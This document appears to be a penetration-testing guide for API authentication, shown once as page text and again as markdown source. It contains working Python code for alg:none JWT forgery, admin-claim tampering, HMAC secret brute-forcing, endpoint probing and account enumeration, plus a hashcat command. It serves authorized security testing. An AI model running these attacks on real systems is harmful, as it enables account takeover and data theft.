Testing API Authentication Weaknesses
When to Use
- Assessing REST API authentication mechanisms for bypass vulnerabilities before production deployment
- Testing JWT token implementation for common weaknesses (none algorithm, key confusion, missing expiration)
- Evaluating whether all API endpoints enforce authentication or if some are unintentionally exposed
- Testing API key generation, storage, and rotation mechanisms for predictability or leakage
- Validating session management including token expiration, revocation, and refresh token security
Do not use without written authorization. Authentication testing involves attempting to bypass security controls.
Most Often Missed & How to Confirm
- Beyond login: test password-reset, MFA-verify, and token-refresh flows - bypasses hide there, not just at
/auth/login.
- JWT secret brute-force: for HS256, run hashcat mode 16500 with a targeted wordlist (company name, year, "secret") before declaring tokens safe.
- alg:none and claim tamper: test
none variants and unsigned claim edits (role/is_admin) for libraries that skip verification.
- Token lifecycle: check token validity after logout/password-change (no server-side revocation) and refresh-token reuse (no rotation).
- Unauth endpoints and token-in-URL: sweep
/health,/metrics,/actuator,/debug and test whether a token is accepted as a query param (log leakage).
How to confirm a hit (avoid false negatives): an auth bypass is confirmed when a forged/altered/expired token returns protected data (200 with the resource) - compare to an unauthenticated baseline, and for forged admin tokens verify access to an admin-only endpoint. Don't conclude negative until you've brute-forced the HMAC secret, tested every auth-adjacent flow, checked post-logout/post-password-change token validity, and probed unauthenticated endpoint exposure.
Prerequisites
- Written authorization specifying target API and authentication mechanisms in scope
- Valid test credentials for at least two user roles (regular user, admin)
- Burp Suite Professional with JWT-related extensions (JSON Web Tokens, JWT Editor)
- Python 3.10+ with
requests, PyJWT, and jwt libraries
- Wordlists for credential testing (SecLists authentication wordlists)
- API documentation or OpenAPI specification
Workflow
Step 1: Authentication Mechanism Identification
import requests
import json
BASE_URL = "https://target-api.example.com/api/v1"
# Probe the API to identify authentication mechanisms
auth_indicators = {
"jwt_bearer": False,
"api_key_header": False,
"api_key_query": False,
"basic_auth": False,
"oauth2": False,
"session_cookie": False,
"custom_token": False,
}
# Test 1: Check unauthenticated access
resp = requests.get(f"{BASE_URL}/users/me")
print(f"Unauthenticated: {resp.status_code}")
if resp.status_code == 200:
print("[CRITICAL] Endpoint accessible without authentication")
# Test 2: Check WWW-Authenticate header
if "WWW-Authenticate" in resp.headers:
scheme = resp.headers["WWW-Authenticate"]
print(f"Auth scheme advertised: {scheme}")
if "Bearer" in scheme:
auth_indicators["jwt_bearer"] = True
elif "Basic" in scheme:
auth_indicators["basic_auth"] = True
# Test 3: Login and examine tokens
login_resp = requests.post(f"{BASE_URL}/auth/login",
json={"username": "testuser@example.com", "password": "TestPass123!"})
if login_resp.status_code == 200:
login_data = login_resp.json()
# Check for JWT tokens
for key in ["token", "access_token", "jwt", "id_token"]:
if key in login_data:
token = login_data[key]
if token.count('.') == 2:
auth_indicators["jwt_bearer"] = True
print(f"JWT found in response field: {key}")
# Check for refresh tokens
for key in ["refresh_token", "refresh"]:
if key in login_data:
print(f"Refresh token found in field: {key}")
# Check for session cookies
for cookie in login_resp.cookies:
print(f"Cookie set: {cookie.name} = {cookie.value[:20]}...")
if "session" in cookie.name.lower():
auth_indicators["session_cookie"] = True
print(f"\nAuthentication mechanisms detected: {[k for k,v in auth_indicators.items() if v]}")
Step 2: Unauthenticated Endpoint Discovery
# Test all endpoints without authentication
endpoints = [
("GET", "/users"),
("GET", "/users/me"),
("GET", "/users/1"),
("GET", "/admin/users"),
("GET", "/admin/settings"),
("GET", "/health"),
("GET", "/metrics"),
("GET", "/debug"),
("GET", "/actuator"),
("GET", "/actuator/env"),
("GET", "/swagger.json"),
("GET", "/api-docs"),
("GET", "/graphql"),
("POST", "/graphql"),
("GET", "/config"),
("GET", "/internal/status"),
("GET", "/.env"),
("GET", "/status"),
("GET", "/info"),
("GET", "/version"),
]
print("Unauthenticated Endpoint Scan:")
for method, path in endpoints:
try:
resp = requests.request(method, f"{BASE_URL}{path}", timeout=5)
if resp.status_code not in (401, 403):
content_preview = resp.text[:100] if resp.text else "empty"
print(f" [OPEN] {method} {path} -> {resp.status_code}: {content_preview}")
except requests.exceptions.RequestException:
pass
Step 3: JWT Token Analysis
import base64
import json
import hmac
import hashlib
def decode_jwt_parts(token):
"""Decode JWT header and payload without verification."""
parts = token.split('.')
if len(parts) != 3:
return None, None
def pad_base64(s):
return s + '=' * (4 - len(s) % 4)
header = json.loads(base64.urlsafe_b64decode(pad_base64(parts[0])))
payload = json.loads(base64.urlsafe_b64decode(pad_base64(parts[1])))
return header, payload
# Analyze the JWT token
token = login_data.get("access_token", "")
header, payload = decode_jwt_parts(token)
print(f"JWT Header: {json.dumps(header, indent=2)}")
print(f"JWT Payload: {json.dumps(payload, indent=2)}")
# Security checks
issues = []
# Check 1: Algorithm
if header.get("alg") == "none":
issues.append("CRITICAL: Algorithm set to 'none' - token signature not verified")
if header.get("alg") in ("HS256", "HS384", "HS512"):
issues.append("INFO: Symmetric algorithm used - check for weak/default secrets")
# Check 2: Expiration
if "exp" not in payload:
issues.append("HIGH: No expiration claim (exp) - token never expires")
else:
import time
exp_time = payload["exp"]
ttl = exp_time - time.time()
if ttl > 86400:
issues.append(f"MEDIUM: Token TTL is {ttl/3600:.0f} hours - excessively long")
# Check 3: Sensitive data in payload
sensitive_fields = ["password", "ssn", "credit_card", "secret", "private_key"]
for field in sensitive_fields:
if field in payload:
issues.append(f"HIGH: Sensitive field '{field}' in JWT payload")
# Check 4: Missing claims
expected_claims = ["iss", "aud", "exp", "iat", "sub"]
missing = [c for c in expected_claims if c not in payload]
if missing:
issues.append(f"MEDIUM: Missing standard claims: {missing}")
# Check 5: Key ID
if "kid" in header:
kid = header["kid"]
# Test for path traversal in kid
issues.append(f"INFO: Key ID (kid) present: {kid} - test for injection")
for issue in issues:
print(f" [{issue.split(':')[0]}] {issue}")
Step 4: JWT Manipulation Attacks
# Attack 1: Remove signature (alg: none)
def forge_none_algorithm(token):
"""Create a token with alg:none to bypass signature verification."""
parts = token.split('.')
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
header['alg'] = 'none'
new_header = base64.urlsafe_b64encode(
json.dumps(header).encode()).decode().rstrip('=')
# Variations of the none algorithm
return [
f"{new_header}.{parts[1]}.",
f"{new_header}.{parts[1]}.{parts[2]}",
f"{new_header}.{parts[1]}.e30",
]
# Attack 2: Modify claims without re-signing
def forge_payload(token, modifications):
"""Modify payload claims and test if server validates signature."""
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
payload_data = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
payload_data.update(modifications)
new_payload = base64.urlsafe_b64encode(
json.dumps(payload_data).encode()).decode().rstrip('=')
return f"{parts[0]}.{new_payload}.{parts[2]}"
# Attack 3: Brute force weak HMAC secrets
COMMON_JWT_SECRETS = [
"secret", "password", "123456", "jwt_secret", "supersecret",
"key", "test", "admin", "changeme", "default",
"your-256-bit-secret", "my-secret-key", "jwt-secret",
"s3cr3t", "secret123", "mysecretkey", "apisecret",
]
def brute_force_jwt_secret(token):
"""Try common secrets against HMAC-signed JWTs."""
parts = token.split('.')
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
if header.get('alg') not in ('HS256', 'HS384', 'HS512'):
print("Not an HMAC token, skipping brute force")
return None
signing_input = f"{parts[0]}.{parts[1]}".encode()
signature = parts[2]
hash_func = {
'HS256': hashlib.sha256,
'HS384': hashlib.sha384,
'HS512': hashlib.sha512
}[header['alg']]
for secret in COMMON_JWT_SECRETS:
expected_sig = base64.urlsafe_b64encode(
hmac.new(secret.encode(), signing_input, hash_func).digest()
).decode().rstrip('=')
if expected_sig == signature:
print(f"[CRITICAL] JWT secret found: '{secret}'")
return secret
print("No common secrets matched - consider using hashcat/john for extended brute force")
return None
# Test all attacks
none_tokens = forge_none_algorithm(token)
for none_token in none_tokens:
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {none_token}"})
if resp.status_code == 200:
print(f"[CRITICAL] alg:none bypass successful")
# Test privilege escalation via claim modification
admin_token = forge_payload(token, {"role": "admin", "is_admin": True})
resp = requests.get(f"{BASE_URL}/admin/users",
headers={"Authorization": f"Bearer {admin_token}"})
if resp.status_code == 200:
print("[CRITICAL] JWT claim modification accepted without signature validation")
brute_force_jwt_secret(token)
Step 5: Token Lifecycle Testing
# Test 1: Token reuse after logout
logout_resp = requests.post(f"{BASE_URL}/auth/logout",
headers={"Authorization": f"Bearer {token}"})
print(f"Logout: {logout_resp.status_code}")
# Try to use the token after logout
post_logout_resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {token}"})
if post_logout_resp.status_code == 200:
print("[HIGH] Token still valid after logout - no server-side revocation")
# Test 2: Token reuse after password change
# (requires changing password and then testing old token)
# Test 3: Refresh token rotation
refresh_token = login_data.get("refresh_token")
if refresh_token:
# Use refresh token
refresh_resp = requests.post(f"{BASE_URL}/auth/refresh",
json={"refresh_token": refresh_token})
new_tokens = refresh_resp.json()
# Try to reuse the same refresh token (should fail if rotation is implemented)
reuse_resp = requests.post(f"{BASE_URL}/auth/refresh",
json={"refresh_token": refresh_token})
if reuse_resp.status_code == 200:
print("[HIGH] Refresh token reuse allowed - no rotation implemented")
# Test 4: Token in URL (leakage risk)
resp = requests.get(f"{BASE_URL}/users/me?token={token}")
if resp.status_code == 200:
print("[MEDIUM] Token accepted in query parameter - may leak in logs/referrer")
Step 6: Password Policy and Credential Testing
# Test password policy enforcement on registration/change endpoints
weak_passwords = [
"a", # Too short
"password", # Common password
"12345678", # Numeric only
"abcdefgh", # Alpha only, no complexity
"Password1", # Meets basic complexity but is common
"", # Empty
" ", # Whitespace
]
for pwd in weak_passwords:
resp = requests.post(f"{BASE_URL}/auth/register",
json={"email": f"test_{hash(pwd)%9999}@example.com",
"password": pwd, "name": "Test User"})
if resp.status_code in (200, 201):
print(f"[WEAK POLICY] Password accepted: '{pwd}'")
# Test account enumeration via login response differences
valid_email = "testuser@example.com"
invalid_email = "nonexistent_user_xyz@example.com"
resp_valid = requests.post(f"{BASE_URL}/auth/login",
json={"username": valid_email, "password": "wrongpassword"})
resp_invalid = requests.post(f"{BASE_URL}/auth/login",
json={"username": invalid_email, "password": "wrongpassword"})
if resp_valid.text != resp_invalid.text or resp_valid.status_code != resp_invalid.status_code:
print(f"[MEDIUM] Account enumeration possible:")
print(f" Valid user: {resp_valid.status_code} - {resp_valid.text[:100]}")
print(f" Invalid user: {resp_invalid.status_code} - {resp_invalid.text[:100]}")
Key Concepts
| Term |
Definition |
| Broken Authentication |
OWASP API2:2023 - weaknesses in authentication mechanisms that allow attackers to assume identities of legitimate users |
| JWT (JSON Web Token) |
Self-contained token format with header.payload.signature structure, used for stateless API authentication |
| Token Revocation |
Server-side mechanism to invalidate tokens before their expiration, critical for logout and password change |
| Credential Stuffing |
Automated attack using leaked username/password pairs against authentication endpoints |
| Account Enumeration |
Determining valid usernames through different error messages or response times for valid vs invalid accounts |
| Refresh Token Rotation |
Security practice where each use of a refresh token generates a new one, preventing token reuse attacks |
Tools & Systems
- Burp Suite JWT Editor: Extension for decoding, editing, and re-signing JWT tokens with various attack modes
- jwt_tool: Python tool for JWT testing with 12+ attack modes including alg:none, key confusion, and JWKS spoofing
- hashcat: GPU-accelerated password cracker supporting JWT HMAC secret brute-forcing (mode 16500)
- Hydra: Network login brute-forcer supporting HTTP form-based and API authentication testing
- Nuclei: Template-based scanner with authentication bypass detection templates
Common Scenarios
Scenario: SaaS Platform API Authentication Assessment
Context: A SaaS platform uses JWT tokens for API authentication. The JWT is issued upon login and used for all subsequent API calls. A refresh token mechanism is also implemented.
Approach:
- Authenticate and capture the JWT: algorithm is HS256, expiration is 7 days, payload contains user role
- Test alg:none bypass: server rejects the token (secure)
- Brute force the HMAC secret: discover the secret is "company-jwt-secret-2023" (found using hashcat with custom wordlist)
- Forge a JWT with admin role using the discovered secret: gain admin access to all endpoints
- Test token revocation: tokens remain valid after logout and password change (no blacklist)
- Test refresh token: refresh token has no expiration and can be reused indefinitely
- Find that the password reset endpoint returns different messages for valid vs invalid emails
- Discover that the
/health and /metrics endpoints are accessible without authentication
Pitfalls:
- Only testing the login endpoint and missing authentication weaknesses in password reset, MFA, and token refresh flows
- Not checking if the JWT secret is the same across all environments (dev, staging, production)
- Ignoring the token lifetime: a 7-day JWT with no revocation means a stolen token is valid for a week
- Not testing for token leakage in server logs, URL parameters, or error messages
Output Format
## Finding: JWT HMAC Secret Brute-Forceable and Token Not Revocable
**ID**: API-AUTH-001
**Severity**: Critical (CVSS 9.1)
**OWASP API**: API2:2023 - Broken Authentication
**Affected Components**:
- POST /api/v1/auth/login (token issuance)
- All authenticated endpoints (token validation)
- POST /api/v1/auth/logout (ineffective)
**Description**:
The API uses HS256-signed JWT tokens with a brute-forceable secret
("company-jwt-secret-2023"). An attacker who discovers this secret can
forge tokens for any user with any role, including admin. Additionally,
tokens are not revocable - logout does not invalidate the token server-side,
and the 7-day expiration means stolen tokens remain valid for extended periods.
**Attack Chain**:
1. Capture any valid JWT from authenticated session
2. Brute force the HMAC secret using hashcat: hashcat -a 0 -m 16500 jwt.txt wordlist.txt
3. Secret recovered in 3 minutes: "company-jwt-secret-2023"
4. Forge admin JWT: modify "role" claim to "admin", re-sign with discovered secret
5. Access admin endpoints: GET /api/v1/admin/users returns all 50,000 user accounts
**Remediation**:
1. Replace HS256 with RS256 using a 2048-bit RSA key pair
2. Use a cryptographically random secret of at least 256 bits if HMAC must be used
3. Implement token blacklisting using Redis for logout and password change events
4. Reduce token TTL to 15 minutes with refresh token rotation
5. Add `iss` and `aud` claims validation to prevent token misuse across services
1---2name: testing-api-authentication-weaknesses3description: Tests API authentication mechanisms for weaknesses including broken token validation, missing authentication on endpoints, weak password policies, credential stuffing susceptibility, token leakage in URLs or logs, and session management flaws. The tester evaluates JWT implementation, API key handling, OAuth flows, and session token entropy to identify authentication bypasses. Maps to OWASP API2:2023 Broken Authentication. Activates for requests involving API authentication testing, token validation assessment, credential security testing, or API auth bypass.4license: Apache-2.05---6# Testing API Authentication Weaknesses
7
8## When to Use
9
10- Assessing REST API authentication mechanisms for bypass vulnerabilities before production deployment
11- Testing JWT token implementation for common weaknesses (none algorithm, key confusion, missing expiration)
12- Evaluating whether all API endpoints enforce authentication or if some are unintentionally exposed
13- Testing API key generation, storage, and rotation mechanisms for predictability or leakage
14- Validating session management including token expiration, revocation, and refresh token security
15
16**Do not use** without written authorization. Authentication testing involves attempting to bypass security controls.
17
18## Most Often Missed & How to Confirm
19
20- **Beyond login:** test password-reset, MFA-verify, and token-refresh flows - bypasses hide there, not just at `/auth/login`.
21- **JWT secret brute-force:** for HS256, run hashcat mode 16500 with a targeted wordlist (company name, year, "secret") before declaring tokens safe.
22- **alg:none and claim tamper:** test `none` variants and unsigned claim edits (`role`/`is_admin`) for libraries that skip verification.
23- **Token lifecycle:** check token validity after logout/password-change (no server-side revocation) and refresh-token reuse (no rotation).
24- **Unauth endpoints and token-in-URL:** sweep `/health`,`/metrics`,`/actuator`,`/debug` and test whether a token is accepted as a query param (log leakage).
25
26**How to confirm a hit (avoid false negatives):** an auth bypass is confirmed when a forged/altered/expired token returns protected data (200 with the resource) - compare to an unauthenticated baseline, and for forged admin tokens verify access to an admin-only endpoint. **Don't conclude negative until you've** brute-forced the HMAC secret, tested every auth-adjacent flow, checked post-logout/post-password-change token validity, and probed unauthenticated endpoint exposure.
27
28## Prerequisites
29
30- Written authorization specifying target API and authentication mechanisms in scope
31- Valid test credentials for at least two user roles (regular user, admin)
32- Burp Suite Professional with JWT-related extensions (JSON Web Tokens, JWT Editor)
33- Python 3.10+ with `requests`, `PyJWT`, and `jwt` libraries
34- Wordlists for credential testing (SecLists authentication wordlists)
35- API documentation or OpenAPI specification
36
37## Workflow
38
39### Step 1: Authentication Mechanism Identification
40
41```python
42import requests
43import json
44
45BASE_URL = "https://target-api.example.com/api/v1"
46
47# Probe the API to identify authentication mechanisms
48auth_indicators = {
49 "jwt_bearer": False,
50 "api_key_header": False,
51 "api_key_query": False,
52 "basic_auth": False,
53 "oauth2": False,
54 "session_cookie": False,
55 "custom_token": False,
56}
57
58# Test 1: Check unauthenticated access
59resp = requests.get(f"{BASE_URL}/users/me")
60print(f"Unauthenticated: {resp.status_code}")
61if resp.status_code == 200:
62 print("[CRITICAL] Endpoint accessible without authentication")
63
64# Test 2: Check WWW-Authenticate header
65if "WWW-Authenticate" in resp.headers:
66 scheme = resp.headers["WWW-Authenticate"]
67 print(f"Auth scheme advertised: {scheme}")
68 if "Bearer" in scheme:
69 auth_indicators["jwt_bearer"] = True
70 elif "Basic" in scheme:
71 auth_indicators["basic_auth"] = True
72
73# Test 3: Login and examine tokens
74login_resp = requests.post(f"{BASE_URL}/auth/login",
75 json={"username": "testuser@example.com", "password": "TestPass123!"})
76
77if login_resp.status_code == 200:
78 login_data = login_resp.json()
79 # Check for JWT tokens
80 for key in ["token", "access_token", "jwt", "id_token"]:
81 if key in login_data:
82 token = login_data[key]
83 if token.count('.') == 2:
84 auth_indicators["jwt_bearer"] = True
85 print(f"JWT found in response field: {key}")
86 # Check for refresh tokens
87 for key in ["refresh_token", "refresh"]:
88 if key in login_data:
89 print(f"Refresh token found in field: {key}")
90 # Check for session cookies
91 for cookie in login_resp.cookies:
92 print(f"Cookie set: {cookie.name} = {cookie.value[:20]}...")
93 if "session" in cookie.name.lower():
94 auth_indicators["session_cookie"] = True
95
96print(f"\nAuthentication mechanisms detected: {[k for k,v in auth_indicators.items() if v]}")
97```
98
99### Step 2: Unauthenticated Endpoint Discovery
100
101```python
102# Test all endpoints without authentication
103endpoints = [
104 ("GET", "/users"),
105 ("GET", "/users/me"),
106 ("GET", "/users/1"),
107 ("GET", "/admin/users"),
108 ("GET", "/admin/settings"),
109 ("GET", "/health"),
110 ("GET", "/metrics"),
111 ("GET", "/debug"),
112 ("GET", "/actuator"),
113 ("GET", "/actuator/env"),
114 ("GET", "/swagger.json"),
115 ("GET", "/api-docs"),
116 ("GET", "/graphql"),
117 ("POST", "/graphql"),
118 ("GET", "/config"),
119 ("GET", "/internal/status"),
120 ("GET", "/.env"),
121 ("GET", "/status"),
122 ("GET", "/info"),
123 ("GET", "/version"),
124]
125
126print("Unauthenticated Endpoint Scan:")
127for method, path in endpoints:
128 try:
129 resp = requests.request(method, f"{BASE_URL}{path}", timeout=5)
130 if resp.status_code not in (401, 403):
131 content_preview = resp.text[:100] if resp.text else "empty"
132 print(f" [OPEN] {method} {path} -> {resp.status_code}: {content_preview}")
133 except requests.exceptions.RequestException:
134 pass
135```
136
137### Step 3: JWT Token Analysis
138
139```python
140import base64
141import json
142import hmac
143import hashlib
144
145def decode_jwt_parts(token):
146 """Decode JWT header and payload without verification."""
147 parts = token.split('.')
148 if len(parts) != 3:
149 return None, None
150
151 def pad_base64(s):
152 return s + '=' * (4 - len(s) % 4)
153
154 header = json.loads(base64.urlsafe_b64decode(pad_base64(parts[0])))
155 payload = json.loads(base64.urlsafe_b64decode(pad_base64(parts[1])))
156 return header, payload
157
158# Analyze the JWT token
159token = login_data.get("access_token", "")
160header, payload = decode_jwt_parts(token)
161
162print(f"JWT Header: {json.dumps(header, indent=2)}")
163print(f"JWT Payload: {json.dumps(payload, indent=2)}")
164
165# Security checks
166issues = []
167
168# Check 1: Algorithm
169if header.get("alg") == "none":
170 issues.append("CRITICAL: Algorithm set to 'none' - token signature not verified")
171if header.get("alg") in ("HS256", "HS384", "HS512"):
172 issues.append("INFO: Symmetric algorithm used - check for weak/default secrets")
173
174# Check 2: Expiration
175if "exp" not in payload:
176 issues.append("HIGH: No expiration claim (exp) - token never expires")
177else:
178 import time
179 exp_time = payload["exp"]
180 ttl = exp_time - time.time()
181 if ttl > 86400:
182 issues.append(f"MEDIUM: Token TTL is {ttl/3600:.0f} hours - excessively long")
183
184# Check 3: Sensitive data in payload
185sensitive_fields = ["password", "ssn", "credit_card", "secret", "private_key"]
186for field in sensitive_fields:
187 if field in payload:
188 issues.append(f"HIGH: Sensitive field '{field}' in JWT payload")
189
190# Check 4: Missing claims
191expected_claims = ["iss", "aud", "exp", "iat", "sub"]
192missing = [c for c in expected_claims if c not in payload]
193if missing:
194 issues.append(f"MEDIUM: Missing standard claims: {missing}")
195
196# Check 5: Key ID
197if "kid" in header:
198 kid = header["kid"]
199 # Test for path traversal in kid
200 issues.append(f"INFO: Key ID (kid) present: {kid} - test for injection")
201
202for issue in issues:
203 print(f" [{issue.split(':')[0]}] {issue}")
204```
205
206### Step 4: JWT Manipulation Attacks
207
208```python
209# Attack 1: Remove signature (alg: none)
210def forge_none_algorithm(token):
211 """Create a token with alg:none to bypass signature verification."""
212 parts = token.split('.')
213 header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
214 header['alg'] = 'none'
215 new_header = base64.urlsafe_b64encode(
216 json.dumps(header).encode()).decode().rstrip('=')
217 # Variations of the none algorithm
218 return [
219 f"{new_header}.{parts[1]}.",
220 f"{new_header}.{parts[1]}.{parts[2]}",
221 f"{new_header}.{parts[1]}.e30",
222 ]
223
224# Attack 2: Modify claims without re-signing
225def forge_payload(token, modifications):
226 """Modify payload claims and test if server validates signature."""
227 parts = token.split('.')
228 payload = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
229 payload_data = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
230 payload_data.update(modifications)
231 new_payload = base64.urlsafe_b64encode(
232 json.dumps(payload_data).encode()).decode().rstrip('=')
233 return f"{parts[0]}.{new_payload}.{parts[2]}"
234
235# Attack 3: Brute force weak HMAC secrets
236COMMON_JWT_SECRETS = [
237 "secret", "password", "123456", "jwt_secret", "supersecret",
238 "key", "test", "admin", "changeme", "default",
239 "your-256-bit-secret", "my-secret-key", "jwt-secret",
240 "s3cr3t", "secret123", "mysecretkey", "apisecret",
241]
242
243def brute_force_jwt_secret(token):
244 """Try common secrets against HMAC-signed JWTs."""
245 parts = token.split('.')
246 header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
247 if header.get('alg') not in ('HS256', 'HS384', 'HS512'):
248 print("Not an HMAC token, skipping brute force")
249 return None
250
251 signing_input = f"{parts[0]}.{parts[1]}".encode()
252 signature = parts[2]
253
254 hash_func = {
255 'HS256': hashlib.sha256,
256 'HS384': hashlib.sha384,
257 'HS512': hashlib.sha512
258 }[header['alg']]
259
260 for secret in COMMON_JWT_SECRETS:
261 expected_sig = base64.urlsafe_b64encode(
262 hmac.new(secret.encode(), signing_input, hash_func).digest()
263 ).decode().rstrip('=')
264 if expected_sig == signature:
265 print(f"[CRITICAL] JWT secret found: '{secret}'")
266 return secret
267
268 print("No common secrets matched - consider using hashcat/john for extended brute force")
269 return None
270
271# Test all attacks
272none_tokens = forge_none_algorithm(token)
273for none_token in none_tokens:
274 resp = requests.get(f"{BASE_URL}/users/me",
275 headers={"Authorization": f"Bearer {none_token}"})
276 if resp.status_code == 200:
277 print(f"[CRITICAL] alg:none bypass successful")
278
279# Test privilege escalation via claim modification
280admin_token = forge_payload(token, {"role": "admin", "is_admin": True})
281resp = requests.get(f"{BASE_URL}/admin/users",
282 headers={"Authorization": f"Bearer {admin_token}"})
283if resp.status_code == 200:
284 print("[CRITICAL] JWT claim modification accepted without signature validation")
285
286brute_force_jwt_secret(token)
287```
288
289### Step 5: Token Lifecycle Testing
290
291```python
292# Test 1: Token reuse after logout
293logout_resp = requests.post(f"{BASE_URL}/auth/logout",
294 headers={"Authorization": f"Bearer {token}"})
295print(f"Logout: {logout_resp.status_code}")
296
297# Try to use the token after logout
298post_logout_resp = requests.get(f"{BASE_URL}/users/me",
299 headers={"Authorization": f"Bearer {token}"})
300if post_logout_resp.status_code == 200:
301 print("[HIGH] Token still valid after logout - no server-side revocation")
302
303# Test 2: Token reuse after password change
304# (requires changing password and then testing old token)
305
306# Test 3: Refresh token rotation
307refresh_token = login_data.get("refresh_token")
308if refresh_token:
309 # Use refresh token
310 refresh_resp = requests.post(f"{BASE_URL}/auth/refresh",
311 json={"refresh_token": refresh_token})
312 new_tokens = refresh_resp.json()
313
314 # Try to reuse the same refresh token (should fail if rotation is implemented)
315 reuse_resp = requests.post(f"{BASE_URL}/auth/refresh",
316 json={"refresh_token": refresh_token})
317 if reuse_resp.status_code == 200:
318 print("[HIGH] Refresh token reuse allowed - no rotation implemented")
319
320# Test 4: Token in URL (leakage risk)
321resp = requests.get(f"{BASE_URL}/users/me?token={token}")
322if resp.status_code == 200:
323 print("[MEDIUM] Token accepted in query parameter - may leak in logs/referrer")
324```
325
326### Step 6: Password Policy and Credential Testing
327
328```python
329# Test password policy enforcement on registration/change endpoints
330weak_passwords = [
331 "a", # Too short
332 "password", # Common password
333 "12345678", # Numeric only
334 "abcdefgh", # Alpha only, no complexity
335 "Password1", # Meets basic complexity but is common
336 "", # Empty
337 " ", # Whitespace
338]
339
340for pwd in weak_passwords:
341 resp = requests.post(f"{BASE_URL}/auth/register",
342 json={"email": f"test_{hash(pwd)%9999}@example.com",
343 "password": pwd, "name": "Test User"})
344 if resp.status_code in (200, 201):
345 print(f"[WEAK POLICY] Password accepted: '{pwd}'")
346
347# Test account enumeration via login response differences
348valid_email = "testuser@example.com"
349invalid_email = "nonexistent_user_xyz@example.com"
350
351resp_valid = requests.post(f"{BASE_URL}/auth/login",
352 json={"username": valid_email, "password": "wrongpassword"})
353resp_invalid = requests.post(f"{BASE_URL}/auth/login",
354 json={"username": invalid_email, "password": "wrongpassword"})
355
356if resp_valid.text != resp_invalid.text or resp_valid.status_code != resp_invalid.status_code:
357 print(f"[MEDIUM] Account enumeration possible:")
358 print(f" Valid user: {resp_valid.status_code} - {resp_valid.text[:100]}")
359 print(f" Invalid user: {resp_invalid.status_code} - {resp_invalid.text[:100]}")
360```
361
362## Key Concepts
363
364| Term | Definition |
365|------|------------|
366| **Broken Authentication** | OWASP API2:2023 - weaknesses in authentication mechanisms that allow attackers to assume identities of legitimate users |
367| **JWT (JSON Web Token)** | Self-contained token format with header.payload.signature structure, used for stateless API authentication |
368| **Token Revocation** | Server-side mechanism to invalidate tokens before their expiration, critical for logout and password change |
369| **Credential Stuffing** | Automated attack using leaked username/password pairs against authentication endpoints |
370| **Account Enumeration** | Determining valid usernames through different error messages or response times for valid vs invalid accounts |
371| **Refresh Token Rotation** | Security practice where each use of a refresh token generates a new one, preventing token reuse attacks |
372
373## Tools & Systems
374
375- **Burp Suite JWT Editor**: Extension for decoding, editing, and re-signing JWT tokens with various attack modes
376- **jwt_tool**: Python tool for JWT testing with 12+ attack modes including alg:none, key confusion, and JWKS spoofing
377- **hashcat**: GPU-accelerated password cracker supporting JWT HMAC secret brute-forcing (mode 16500)
378- **Hydra**: Network login brute-forcer supporting HTTP form-based and API authentication testing
379- **Nuclei**: Template-based scanner with authentication bypass detection templates
380
381## Common Scenarios
382
383### Scenario: SaaS Platform API Authentication Assessment
384
385**Context**: A SaaS platform uses JWT tokens for API authentication. The JWT is issued upon login and used for all subsequent API calls. A refresh token mechanism is also implemented.
386
387**Approach**:
3881. Authenticate and capture the JWT: algorithm is HS256, expiration is 7 days, payload contains user role
3892. Test alg:none bypass: server rejects the token (secure)
3903. Brute force the HMAC secret: discover the secret is "company-jwt-secret-2023" (found using hashcat with custom wordlist)
3914. Forge a JWT with admin role using the discovered secret: gain admin access to all endpoints
3925. Test token revocation: tokens remain valid after logout and password change (no blacklist)
3936. Test refresh token: refresh token has no expiration and can be reused indefinitely
3947. Find that the password reset endpoint returns different messages for valid vs invalid emails
3958. Discover that the `/health` and `/metrics` endpoints are accessible without authentication
396
397**Pitfalls**:
398- Only testing the login endpoint and missing authentication weaknesses in password reset, MFA, and token refresh flows
399- Not checking if the JWT secret is the same across all environments (dev, staging, production)
400- Ignoring the token lifetime: a 7-day JWT with no revocation means a stolen token is valid for a week
401- Not testing for token leakage in server logs, URL parameters, or error messages
402
403## Output Format
404
405```
406## Finding: JWT HMAC Secret Brute-Forceable and Token Not Revocable
407
408**ID**: API-AUTH-001
409**Severity**: Critical (CVSS 9.1)
410**OWASP API**: API2:2023 - Broken Authentication
411**Affected Components**:
412 - POST /api/v1/auth/login (token issuance)
413 - All authenticated endpoints (token validation)
414 - POST /api/v1/auth/logout (ineffective)
415
416**Description**:
417The API uses HS256-signed JWT tokens with a brute-forceable secret
418("company-jwt-secret-2023"). An attacker who discovers this secret can
419forge tokens for any user with any role, including admin. Additionally,
420tokens are not revocable - logout does not invalidate the token server-side,
421and the 7-day expiration means stolen tokens remain valid for extended periods.
422
423**Attack Chain**:
4241. Capture any valid JWT from authenticated session
4252. Brute force the HMAC secret using hashcat: hashcat -a 0 -m 16500 jwt.txt wordlist.txt
4263. Secret recovered in 3 minutes: "company-jwt-secret-2023"
4274. Forge admin JWT: modify "role" claim to "admin", re-sign with discovered secret
4285. Access admin endpoints: GET /api/v1/admin/users returns all 50,000 user accounts
429
430**Remediation**:
4311. Replace HS256 with RS256 using a 2048-bit RSA key pair
4322. Use a cryptographically random secret of at least 256 bits if HMAC must be used
4333. Implement token blacklisting using Redis for logout and password change events
4344. Reduce token TTL to 15 minutes with refresh token rotation
4355. Add `iss` and `aud` claims validation to prevent token misuse across services
436```